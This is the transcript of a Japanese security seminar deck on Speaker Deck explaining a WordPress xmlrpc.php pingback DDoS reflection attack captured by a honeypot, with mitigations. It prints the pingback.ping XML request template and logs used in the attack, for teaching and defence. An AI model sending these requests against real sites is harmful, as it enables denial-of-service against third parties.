Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
ハニーポットで捕らえるWordPressへの攻撃
Search
junk_coken
August 04, 2016
Technology
4k
1
Share
ハニーポットで捕らえるWordPressへの攻撃
OSCKyoto2016 国立セキュリティ・キャンプ第12期同窓会
セミナー資料
junk_coken
August 04, 2016
More Decks by junk_coken
See All by junk_coken
HTTPSハニポとFingerprint
junk_coken
1
2.2k
6/14総サイLT~ハニーポットを作ってる話~
junk_coken
0
1.9k
ハニーポットで集める攻撃手法-seccamp2016
junk_coken
2
1k
Other Decks in Technology
See All in Technology
音声言語モデル手法に関する発表の紹介
kzinmr
0
150
生成AI時代のドキュメントに対する期待の整理と実践から得た学び / Rethinking Documentation for LLM: Lessons from Practice
bitkey
PRO
1
120
GitHub Copilot CLI と VS Code Agent Mode の使い分け
tomokusaba
0
110
GKE Agent SandboxでAIが生成したコードを 安全に実行してみた
lamaglama39
0
150
20年前の「OSS革命」に学ぶ AI時代の生存戦略
samakada
0
510
Keeping Ruby Running on Cygwin
fd0
0
190
[Oracle TechNight#99] 生成AI時代のAI/ML入門 ~ AIとオラクルデータベースの関係 (前半)
oracle4engineer
PRO
1
120
AI バイブコーティングでキーボード不要?!
samakada
0
660
Google Cloud Next '26 の裏でこっそりリリースされたCloud Number Registry & Cloud Hub コスト分析 を試してみた
hikaru1001
0
130
UIライブラリに依存しすぎないReact Native設計を目指して
grandbig
0
160
Claude Code を安全に使おう勉強会 / Claude Code Security Basics
masahirokawahara
12
39k
小説執筆のハーネスエンジニアリング
yoshitetsu
0
870
Featured
See All Featured
jQuery: Nuts, Bolts and Bling
dougneiner
66
8.4k
Everyday Curiosity
cassininazir
0
200
Avoiding the “Bad Training, Faster” Trap in the Age of AI
tmiket
0
140
How Fast Is Fast Enough? [PerfNow 2025]
tammyeverts
3
540
Skip the Path - Find Your Career Trail
mkilby
1
110
BBQ
matthewcrist
89
10k
Navigating Algorithm Shifts & AI Overviews - #SMXNext
aleyda
1
1.2k
Leveraging LLMs for student feedback in introductory data science courses - posit::conf(2025)
minecr
1
240
Joys of Absence: A Defence of Solitary Play
codingconduct
1
350
How to Create Impact in a Changing Tech Landscape [PerfNow 2023]
tammyeverts
55
3.3k
SEO in 2025: How to Prepare for the Future of Search
ipullrank
3
3.4k
How To Speak Unicorn (iThemes Webinar)
marktimemedia
1
450
Transcript
ハニーポットで捕らえる WordPressへの攻撃 国立セキュリティ・キャンプ第12期同窓會 junk_coken (@junk_coken)
自己紹介 •@junk_coken •セキュリティ・キャンプ全国大会2015参加 • 2016検知トラックチューター •ハニーポットを中心に独学研究している 自称ハニーポッター見習い
セミナー内容 •ハニーポットの紹介 •ハニーポットで捕れた WordPressへの攻撃解説 •時間の都合上1つだけ
ハニーポットとは?
ハニーポットとは? • わざと脆弱性がありそうなシステムを設置、 それに対して行われる攻撃ログ、マルウェアを収集する • 別に脆弱性を持っている必要はない • クラッカーの攻撃手法やマルウェアの実態がわかる
ハニーポットの環境
今回のハニーポット • NginxとWordPressで作ったハニーポット • 実際のシステムを使うことでより特化し柔軟なハニーポットに なる (ただしそれなりにリスクはある) • Raspberry Pi
2 & Raspbian • Raspberry Piでも十分快適!!!
今回の収集対象 •基本的にはHTTPのHTTPリクエスト(GET,POST) •WordPressなので、主にWordPressに対する攻撃を 集める • WordPress以外に対する攻撃も取れる
WordPress • ご存知有名なブログシステム • Pluginを利用することで拡張することができる • 今回は最低限のPluginを入れておく • 自作記事自動投稿プラグイン(ズンドコするやつ) •
WP-Mail-SMTP • Contact form 7 • Disable XML-RPC Pingback • 攻撃の有無はログで見分ける!
• (画像)
攻撃解説 xmlrpc.phpによるDDoS
XMLRPC.phpを狙ったDDoS踏み台攻撃 IPアドレス - - [日時] "GET /feed/ HTTP/1.1" 200 ※見辛いためログを簡略化しています
IPアドレス - - [日時] “POST /xmlrpc.php HTTP/1.0” 499 “<?xmlversion=¥x221.0¥x22?><methodCall><methodName>pingback.ping</m ethodName><params><param><value><string>外部のアドレス </string></value></param><param><value><string>記事のアドレス </string></value></param></params></methodCall>“ IPアドレス - - [日時] “POST /xmlrpc.php HTTP/1.0” 499 “<?xmlversion=¥x221.0¥x22?><methodCall><methodName>pingback.ping</m ethodName><params><param><value><string>外部のアドレス </string></value></param><param><value><string>記事のアドレス </string></value></param></params></methodCall>"
行動をトレースしてみる
①GET /feed/ XMLが返ってくる RSSのためのXML
①GET /feed/ <?xml version”1.0” encoding=“UTF-8”?> ・ ・ ・ <channel> ・
・ ・ <title>2016年07月26日、本日のZUNDOKOKIYOSHI!!</title> <link>記事URL</link> <comments>記事URL/#respond</comments> <pubDate>Mon, 25 Jul 2016 15:20:33 +0000</pubDate> <dc:creator><![CDATA[zundoko]]></dc:creator> <category><![CDATA[未分類]]></category> ↙記事があるかどうかをチェック
②POST /xmlrpc.php -request Content Type:application/xml “<?xml version= 1.0 ?> <methodCall>
<methodName>pingback.ping</methodName> <params><param> <value><string>攻撃先URL</string></value> </param><param> <value><string>WordPressの記事</string></value> </param></params> </methodCall>" このリクエストを何度も送信!!(DoS)
そもそもxmlrpc.phpとは? • XML-RPCというプロトコル • データをXMLで送受信しやすくするためのプロトコル • WordPressでXML-RPCを使うAPIが提供されている • XML-RPC WordPress
API • Blogger API, metaWeblog API, Movable Type API, Pingback API • xmlrpc.phpはXML-RPCのAPIを直接利用する • DDoSはXML-RPC API内のPingbackAPIを悪用し行われる
PingbackAPI • DDoSに悪用されるが、当然想定外 • PingBackは、他人の記事をリンクしたときに 「リンクしましたよ」と伝える機能 • このWordPress PingBackAPIは、WordPress同士での利用を想定して いる
• リンクした側がWordPressなら、リンクされた側がWordPressでなくても 送られる ↓ 悪用に繋がる
Pingback通常の動作 -request リンクするサイト:http://A.ex リンクされるサイト:http://B.ex POST http://B.ex/xmlrpc.php <?xml version= 1.0 ?>
<methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://A.ex/blogno1</string></value></param> <param><value><string>http://B.ex/blogno1</string></value></param> </params> </methodCall>
Pingback通常の動作 -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params><param><value> <string>http://A.ex より http://B.exへのピンバックが登録されま
した。ウェブでの会話を続けてください ! :-)</string> </value></param></params> </methodResponse>
Pingback通常の動作 -Arequest • 同時に、このリクエストも送信される GET http://B.ex/blogno1 UserAgent:“WordPress/4.5.3; http://A.ex; verifying pingback
from 送信元IP"
Pingback通常の動作(もう一回) -request POST /xmlrpc.php <?xml version= 1.0 ?> <methodCall> <methodName>pingback.ping</methodName>
<params> <param><value><string>http://A.ex/blogno1</string></value></param> <param><value><string>http://B.ex/blogno1</string></value></param> </params> </methodCall>
Pingback通常の動作(もう一回) -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value><struct><member> <name>faultCode</name> <value><int>48</int></value>
</member><member> <name>faultString</name> <value><string>そのピンバックはすでに登録済みです。</string></value> </member></struct></value> </fault> </methodResponse>
Pingback通常の動作(もう一回) -request •今度は、GETリクエストは送られない
どうやって悪用するか?
Pingback悪用時の動作 -request POST /xmlrpc.php <?xml version= 1.0 ?> <methodCall> <methodName>pingback.ping</methodName>
<params> <param><value><string>攻撃対象のURL</string></value></param> <param><value><string>WordPressの記事</string></value></param> </params> </methodCall>
Pingback悪用時の動作 -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value><struct><member> <name>faultCode</name> <value><int>0</int></value>
</member><member> <name>faultString</name> <value><string></string></value> </member></struct></value> </fault> </methodResponse>
Pingback悪用時の動作 -攻撃対象へのreq WordPressのIP - - [日時] “GET / HTTP/1.0” 200
25805 “-” “WordPress/4.5.3; WordPressのURL; verifying pingback from 攻撃者のIP" "-" "-" • WordPressではないのにアクセスされる・・・。
Pingback悪用時の動作(もう一回) -request POST /xmlrpc.php <?xml version= 1.0 ?> <methodCall> <methodName>pingback.ping</methodName>
<params> <param><value><string>攻撃対象のURL</string></value></param> <param><value><string>WordPressの記事</string></value></param> </params> </methodCall>
Pingback悪用時の動作(もう一回) -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value><struct><member> <name>faultCode</name> <value><int>0</int></value>
</member><member> <name>faultString</name> <value><string></string></value> </member></struct></value> </fault> </methodResponse>
Pingback悪用時の動作 -攻撃対象へのreq WordPressのIP - - [日時] “GET / HTTP/1.0” 200
25805 “-” “WordPress/4.5.3; WordPressのURL; verifying pingback from 攻撃者のIP" "-" "-" • 何度でも可能 ↓ • DDoSへ悪用
まとめ • WordPressのxmlrpc.phpはデフォルトでDDoSの脆弱性を抱えている • 悪用されないためには、xmlrpc.phpにアクセス制限を掛ける、 もしくはPingback APIを無効化するプラグインを利用する • しかし、プラグインによる無効化だとDoS自体は解消されない (VPS等ではお叱りを受ける可能性がある)
• ただし、このDDoSは効果が薄い • DDoSと同じ量をDoSしないといけない(1アクセスにつき1回) • 攻撃元IPがUserAgentであるが晒される • 非効率的だが、デフォルトで存在するので成功率は高い
おまけ ハニーポット、やってみませんか?
初めてのハニーポット • ハニーポットは大きく分けて2種類 • 低対話型:サービスをエミュレーション • 高対話型:実際のサービスをそのまま使う • Webサービスに対する攻撃を集めたい場合、 特に何もしないHTMLを置いておくだけでもある程度取れる。
• ただし高対話型なので更新は怠らないように • マルウェアを集めて解析を行いたい場合、低対話型を使う • おすすめはSSHハニーポットCowrie • ごりごりマルウェアが放り込まれる
注意点 • 契約プロバイダの禁止事項に抵触しないよう確認の上作りましょう。 • ハニーポットで知った攻撃方法を自分の管理外のコンピュータなど で試してはいけません。 • アクセス制御はしっかり行いましょう。 • 定期的にメンテナンスしましょう。
君も攻撃の実状を 確かみてみろ!!! -終-